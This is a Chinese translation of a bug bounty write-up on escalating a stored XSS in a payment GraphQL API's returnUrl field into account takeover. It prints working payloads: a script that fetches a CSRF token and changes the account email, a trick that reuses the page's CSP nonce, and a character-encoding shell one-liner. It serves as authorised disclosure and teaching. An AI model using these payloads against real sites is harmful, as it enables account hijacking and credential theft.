大佬怒赚万$-通过GraphQL API实现存储型XSS到账户接管(ATO)的攻击

admin 2023年7月7日12:30:55评论78 views字数 9367阅读31分13秒阅读模式

去年底在HackerOne的一次LHE(由于时间非常紧迫,这只在后面才变得重要),我在一个主要品牌的网站上发现了一个非常具有挑战性的漏洞,涉及多层利用,最终导致一个存储型XSS payload能够通过访问品牌主网站上的特定无害页面来接管受害者的帐户(www.redacted.com)。这个漏洞的范围完全在该品牌的赏金计划内。

这个漏洞的回报很高(CVSS 8.7),发现并利用它的过程会很有意思。但是,在利用此漏洞的过程中,我多次陷入困境——完全陷入困境。我几乎放弃了,认为这是不可能的完成的。

本文极限xss的记录

设置

我发现的最初漏洞与该品牌的支付处理 API 有关 - 这是客户(商家)用来处理各个国家的信用卡和金融交易的 API。这个品牌是跨国公司,因此他们在许多不同的国家处理许多不同类型的交易 - 包括我在美国从未听说过的一些交易,并且作为我的侦察的一部分不得不进行研究。

该支付处理器支持的一种交易类型是离线支付流程,用于处理信用卡不常见且现金交易更为普遍的地区。在这些地点,支付处理器允许客户进行电子商务购买并获取唯一的代码(如二维码),他们可以将其带入商店并支付现金进行交易。一旦商店确认交易,电商就会收到货款,顾客就会收到货。

因此,交易流程如下:

  • 当客户下订单时,电子商务商家启动线下支付流程
  • 电子商务商家为顾客提供一个唯一的店内代码,可用于付款
  • (线下)客户将代码带到支付网络中的商店并以现金支付
  • 通知电子商务商家已发生付款
  • 电子商务商家向客户发送一个唯一的 URL,他们可以访问该 URL 来确认购买

请注意,最后一步中的“唯一 URL”是由商家在设置交易时提供的(您可以将其视为基于传统在线信用卡的工作流程中的“确认 URL”)。

The Payload

在这种情况下,我们的攻击者是能够创建这些离线交易的商家(或该商家的用户)。商家将提交包含 XSS payload的确认 URL。该payload一旦保留,就可以在该品牌主网站的页面下看到www.redacted.com。

POST /graphql HTTP/1.1Host: payments.redactedtwo.com...
{"query":"mutation {n  ...redacted...(input:{ ...redacted... n      returnUrl: "<payload here>" ... }) ...

我们可以看到这个 GraphQL API 接受一个returnUrl参数,该参数将成为我们的payload源。请注意,GraphQL 调用是完全独立的顶级域上的 API。这很有趣,因为它允许品牌域之一中存储的payload在另一个可以说更关键的域中呈现。提交后,我们可以访问网站上唯一的静态 URL,www.redacted.com其中returnUrl参数中包含我们的payload。

让我们看看payload如何出现在接收器上www.redacted.com:

<script nonce="G4bzKjjcoKYHhRqFR4jI3hADUnme1CL14sqI8gUqRhcRi+DE">window.location.href = '<payload>?..dynamic url parameters...'</script>

我们看到这个脚本有一个随机数,并且我们的注入点<payload>位于脚本内 - 看起来像是一个非常容易存储的 XSS,对吧?

随机数的存在稍后将变得很重要,让我们看一下标Content-Security-Policy头,看看有哪些限制(注意:直到我深入payload开发时,我才考虑 CSP - 这是一个大错误,至少导致我回溯2小时,原因我稍后会描述)。为了便于阅读,我将其分成几行:

Content-Security-Policy:default-src 'self' 'unsafe-inline' https://*.redacted.com https://*.redactedtwo.com;script-src 'nonce-G4bzKjjcoKYHhRqFR4jI3hADUnme1CL14sqI8gUqRhcRi+DE' 'self' 'unsafe-inline' https://*.redacted.com https://*.redactedtwo.com;img-src 'self' https:;frame-src 'self' https://*.redacted.com https://*.redactedtwo.com https://*.qualtrics.com;child-src 'self' https://*.redacted.com https://*.redactedtwo.com;object-src 'none';font-src 'self' https://*.redacted.com https://*.redactedtwo.com;base-uri 'self' https://*.redacted.com;form-action 'self' https://*.redacted.com;upgrade-insecure-requests;connect-src 'self' 'unsafe-inline' https://*.redacted.com https://*.redactedtwo.com https://*.qualtrics.com;

我们可以看到,这个 CSP 具有相当大的限制性 - 我们只能从(hardened)品牌网站本身获取信息,并且页面上的任何脚本标签都需要随机数。

尝试1:javascript:// url

显然,在注入点的第一次尝试location.href=是简单地放置一个带有payload的 Javascript 方案,例如javascript://alert(1). 我很幸运,因为这里没有明显的 WAF 阻止像这样的简单payload。所以我尝试了这个并且...

...失败了。GraphQL API 拒绝了该 URL,并出现400错误。我尝试了许多其他尝试,编码、基本、空格等 - 没有运气。API 正在验证提供的 URL 是否以https://完整主机名开头并包含后跟尾随/. 很明显,我们有一个开放的重定向,但我知道这可能会被利用来存储 XSS。

例如,https://hackerone.com/将产生以下存储的payload:

<script nonce="G4bzKjjcoKYHhRqFR4jI3hADUnme1CL14sqI8gUqRhcRi+DE">window.location.href = 'https://hackerone.com/?...dynamic URL parameters...'</script>

快速说明- 这些参数附加到 GraphQL API 中提供的 URL 中,表示唯一的交易 ID、有关客户的信息等 - 这些参数始终在单引号内...dynamic URL parameters...附加前导。?

旁注:几次失败的尝试。

在这个故事的后面,出于显而易见的原因,我尝试提交各种形式的https://url,而不带尾部斜杠 - 这将导致主机名之后的所有内容都被 URL 编码,并且通常对于 Javascript 上下文中的 XSS 毫无用处。我应该早点尝试一下,因为这样可以节省很多时间。

尝试 2:Trailing payload

我们知道此时payload必须以有效的 URL 和主机名开头,因此我们从有效https://hackerone.com/payload的开头开始。

对我们来说幸运的是,我能想到的下一个最明显的payload起作用了。单引号字符没有以任何方式被阻止或编码,因此以下payload实际上生成了一个存储的警报:

https://hackerone.com/';alert(document.domain);//

这会生成一个alert(很棒),但关闭后用户会立即重定向到提供的 URL。爽!存储具有 DOM 访问权限的 XSS payload!

提交

此时,我认为我做得很好,并在活动现场部分之前在 LHE 中提交了该错误。在对中等影响进行分类后,我向分类/客户团队发送了一条说明,询问需要什么才能证明较高的影响。

顺便说一句,对于那些不知道 HackerOne LHE 的结构的人来说,有一段时间(5.5 天),在此期间 LHE 参与者会了解范围并可以提交错误。这些错误会被分类,但直到活动的实时部分才最终确定/付费。实时部分包括一天(实际上约 10 小时),参与者可以提交其他错误或升级之前提交的错误。

客户(通过分类团队)回应说,他们认为主站点上的 CSP 和 cookie 设置已到位,不可能将存储的 XSS 升级到任何更高的严重程度。

Challenge Accepted! 那就干!

当然,我认为这是一个挑战,因为我知道payload位于上下文中,<script nonce>我应该能够制作我想要的任何payload,利用它会很容易!

下一步:构建 ATO payload

我开始制作我能想象到的最好的存储 XSS ATO payload。payload执行了以下任务,我在主站点上打开的窗口的开发控制台 (F12) 中测试了这些任务:

  • XMLHttpRequest通过访问网站主页来获取用户的 CSRF token
  • fetch通过解析调用返回的 HTML 来提取 CSRF token
  • 使用 API 调用来更改帐户上的电子邮件地址XMLHttpRequest

请注意,connect-srcCSP 中的 使得尝试使用 Javascript 将信息从页面渗透到攻击者域变得不可能,因此 ATO(或 CSRF 的类似行为是我在这里选择的payload)。

此时,攻击者可以夺取该帐户,因为他们控制了电子邮件地址,并且可以使用“忘记密码”功能来完成接管。Cookie(甚至HttpOnly)将在最后一个请求时发送,因为同源策略将允许包含它们(XHR 源自正确的域,www.redacted.com)。

我想你们大多数人都熟悉编写这种类型的payload,我不会在这里详细介绍,因为它非常简单:

function decodeHtml(html) {    var txt = document.createElement("textarea");    txt.innerHTML = html;    return txt.value;}fetch("https://www.redacted.com/url/to/get/csrf/").then(r => r.text()).then(r => {  csrf_token = /]*)"/.exec(r)[1]  var xhr = new XMLHttpRequest();  xhr.open("POST", "https://www.redacted.com/api/to/change/email", true);  xhr.setRequestHeader("X-Csrf-Token", decodeHtml(csrf_token));  xhr.setRequestHeader("Content-Type", "application/json");  xhr.withCredentials = true;  o=new Object(); ... other parameters ...  o.email='<my_email_address>';  xhr.send(JSON.stringify(o));})

我在 Chrome 开发控制台中对此进行了测试,并确认它具有 ATO 的预期效果。准备好出发!

尝试3:拒绝

我将payload提交到 GraphQL API,它看起来不错!最初没有错误,但后来我点击存储的 XSS 页面本身并看到......

HTTP/2 400 Bad Request

存储的payload未渲染!

回到原来的有效alert(document.domain)负载,它起作用了。因此,我的完整 ATO 负载中一定有某些东西导致服务器无法呈现 XSS。

经过对工作负载的多次迭代(不幸的是,由于源和接收器是不同的事务,并且需要几个中间步骤,我无法使用任何方便的自动化工具),我发现以下所有字符都会导致错误400:

{}<>"[]

请注意,所有空白字符也被拒绝。可能还有其他我不记得的字符😁,但以下绝对没有被阻止:

()=.;/

所以,我要处理的 Javascript 词汇量有限,没问题!

尝试 4:异步

我最终重写了大部分payload以排除受限字符。请注意,我尝试了所有类型的编码(URL、javascript、十六进制、八进制、双编码等),但这些都不能用来绕过限制。我会注意到这是非常乏味的,因为错误出现在接收器,而不是源,因此每次迭代至少浪费一两分钟。

我什至收到了fetch使用受限字符集的初始请求,例如:

https://hackerone.com/';fetch("https://www.redacted.com/url/to/get/csrf/").then(console.log);//

我可以看到调用Response中的对象fetch击中了控制台日志 - 现在我们正在取得进展!

然后我遇到了大问题。

请记住,我的攻击链需要 3 个步骤:

  • 进行 XHR 调用以获取带有 CSRF token的页面
  • 从返回的 HTML 中提取 CSRF token
  • 使用 CSRF token向 ATO 进行 XHR 调用

因为fetch( 和XMLHttpRequest) 是异步 API,所以我们需要用lambda 函数then填充方法参数,该函数将在 Promise 解析时异步执行(更多信息请参见mdn)。问题是,如果没有这些字符,我不相信有一种方法可以在 Javascript 中构造 lambda 函数,无论是使用大括号语法还是箭头语法(如果有人聪明地阅读本文提出建议,我的 DM 在 Twitter 上是开放的,我我很感兴趣!)。{}>

我立即意识到这是一个巨大的障碍。即使我重写了payload的其余部分以避免所有这些其他字符(这最终是可能的),也无法定义在 Promise 解析时调用的 lambda 函数,这是一个令人震惊的问题。

可是等等!在 Javascript 参考中的对象文档中Function,有一个表单,Function(var, body)其中body是string ! 不需要大括号或箭头语法!

尝试5:还有一件事......

我兴奋地重写了我的payload,以利用这个令人惊奇的语法,结果发现我在 CSP 中错过了一些东西……eval由于 CSP 缺少指令,所以不允许这样做unsafe-eval。没错,这种形式的Function构造函数(毫不奇怪)eval在幕后使用该字符串将该字符串转换为实际的 Javascript 函数。

这是不幸的,因为我浪费了大约 30 宝贵的分钟来弄清楚这个语法是如何工作的(文档对于如何传入和引用变量有点模糊)。

我认为由于被阻止的特定字符,这种方法根本不可能。(其实这个时候我还没想到空白也因为某种原因被阻塞了,我会怪罪睡眠不足),无论如何,这会让编写一个函数变得困难甚至不可能。

尝试 6:不同的方法

所以此时我得到了一些食物,因为我已经连续奋战了至少3个小时。当我在大厅里漫步时,我陷入沉思。显然我可以调用 Javascript 方法,因为我可以访问这些().;字符。我当然可以想出一些办法!

(我要补充一点,我确信有人会非常乐意帮助我,但由于这是我的第一个 LHE,我希望在没有任何帮助的情况下获得一个真正有影响力的错误!)

此时我意识到三件事:

  • 为了成功交付我的工作负载,我需要解决被阻止的特殊字符,
  • 我已经确认我可以执行任意 Javascript 代码,只要我小心我使用的字符,
  • 我可以访问<script>已经存在的标签上 DOM 中随机数的正确值

我决定尝试以下方法:

  • 使用非常简单的 Javascript 创建一个新的<script>DOM 节点
  • 设置该脚本节点上的随机数以匹配<script>页面上已有节点的随机数
  • 找出一种对我的payload进行编码的方法,以便我可以将innerText新<script>节点的值设置为不包含特殊字符的值
  • 将我的新<script>标签插入 DOM,payload将执行

作为一个有趣的琐事,如果您还没有遇到过这种情况 - 如果<script>标签已经开始执行(页面上的一个标签),则替换将innerText不会执行任何操作。由于 CSP,除了带有随机数的标签之外,我没有看到任何其他方式<script>来执行我的payload(同样,如果我这样做的话,我对评论或建议感兴趣!)。

但是,如果页面尚未完成内联脚本的渲染和执行,您可以<script>在内联脚本之后插入一个新节点,它将执行(请注意,这仅在页面尚未加载时有效 - 如果您尝试插入事件触发<script>后的 DOM 节点,为时已晚)。onload

希望你们都还在我身边!

我决定尝试使用一个简单的payload,如下所示:

https://hackerone.com/';s=document.createElement('script');s.nonce=document.getElementsByTagName('script').item(1).nonce;s.innerText='alert(document.domain);';document.head.appendChild(s);;//'

我发射了它并且......它成功了!警报弹出并且新标签上存在随机数使我的脚本能够通过 CSP 检查。

超级兴奋,因为看起来这个策略会起作用!

尝试 7:避免特殊字符

我想说的是,此时我基本上已经有了剩下的有效负载的想法,但我面临着巨大的时间压力,需要在 LHE 结束之前提交我的升级,最终因为一些愚蠢的错误而浪费了一些时间。

第一个错误是尝试只对那些被阻止的字符进行编码。这很难手动完成,并且当我发现我错过了一个角色时花了很多时间。

所以我决定采用以下方法:

  • redacted_payload.txt使用我的 Javascript 负载创建一个文件
  • 运行以下 shell 命令将文件中的每个字符编码为一系列调用String.fromCharCode

生成的 shell 命令:

(for i in `cat redacted_payload.txt | xxd -ps -c 0 | sed -e 's/(..)/1n/g'`; do echo "String.fromCharCode("$((16#${i}))")+"; done) | tr -d 'n'

和输出:

String.fromCharCode(123)+String.fromCharCode(32)+String.fromCharCode(102)+String.fromCharCode(117)+... repeating for many characters ...

再说一次,当没有时间压力时,我确信我可以在这里设计一些更优雅的东西,但这有效,我最终得到了一个非常大的payload(幸运的是,可以存储的 URL 没有长度限制!)。

我提交了完整的payload,现在看起来像:

https://hackerone.com/';s=document.createElement('script');s.nonce=document.getElementsByTagName('script').item(1).nonce;s.innerText=<very_long_encoded_payload>;document.head.appendChild(s);;//'

而且……没用。这时我想起了一些我忽略的事情……

最后一步:讨厌的重定向

请记住,我们注入的内联脚本是通过设置属性来重定向窗口开始的location.href。这会导致浏览器开始导航,此时它可能/可能不会完成任何进一步内联脚本的执行,并且它肯定不会等待 asyncPromise完成,例如 XHR 或fetch. 我看到的是,我的编码payload正在工作,但浏览器会立即导航离开页面,整个过程没有机会完成。

另请记住,重定向必须以合法的主机名开头,因此不可能提供浏览器无法导航到的无效重定向。

在这个阶段,我开始有点恐慌,距离提交截止还有大约 30 分钟的时间,我知道我已经可以升级了。我浏览了有关设置时行为的 Javascript 参考location.href,我看到了一个小宝石window.stop(),它被记录为“中止浏览器导航”。这看起来像我的答案,所以我在 URL 字符串末尾后立即添加了一个调用,如下所示:

https://hackerone.com/';window.stop();s=document.createElement('script');s.nonce=document.getElementsByTagName('script').item(1).nonce;s.innerText=<very_long_encoded_payload>;document.head.appendChild(s);;//'

好消息:这达到了停止重定向的预期效果!

非常非常坏的消息:这也阻止了任何未完成的fetch或XHR请求,并且没有简单的方法可以恢复。

虽然可能可以编写一些聪明的代码来处理这个问题,但我现在只剩下 20 分钟了,需要快速解决!

此时,我想知道我是否location.href 再次设置为其他内容,如果第二个分配足够快,是否会覆盖第一个导航。起初我尝试使用javascript:URL(这太简单了),最后发现该 URLfoo://a将使浏览器的行为完全符合我的希望:

  • 停止导航至合法 URL
  • 生成错误(不重要)
  • 允许进一步的 XHR/fetch请求继续进行

此时,距离提交结束仅 15 分钟,我得到了最终的payload:

https://hackerone.com/';location.href='foo://a';s=document.createElement('script');s.nonce=document.getElementsByTagName('script').item(1).nonce;s.innerText=<very_long_encoded_payload>;document.head.appendChild(s);;//'

我向 ATO 提交了payload以及成功存储的 XSS 证据,实际上还剩下几分钟的时间,并且在这个升级链上连续花费了近 6 个小时。

客户接受了这种升级,并且非常惊讶地发现,在所有保护措施到位的情况下,这是可能的。

结论

最后总结一些技巧:

  • 当开箱即用的payload不起作用时,熟悉 Javascript 语言和语法确实很有帮助。MDN 参考资料在这方面非常有帮助。
  • 熟悉该语言还可以帮助您更好地解决主要障碍,例如特殊字符。
  • 在时间压力下,了解何时陷入死胡同并回溯尝试新方法非常重要 - 我在本练习中多次这样做。
  • 如果需要奇怪的编码,了解如何编写简单的文本处理脚本将节省大量时间。

翻译自https://www.pmnh.site/post/witeup_lhe_graphql_stored_xss/

 

原文始发于微信公众号(黑伞安全):大佬怒赚万$-通过GraphQL API实现存储型XSS到账户接管(ATO)的攻击

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月7日12:30:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   大佬怒赚万$-通过GraphQL API实现存储型XSS到账户接管(ATO)的攻击http://cn-sec.com/archives/1856678.html

发表评论

匿名网友 填写信息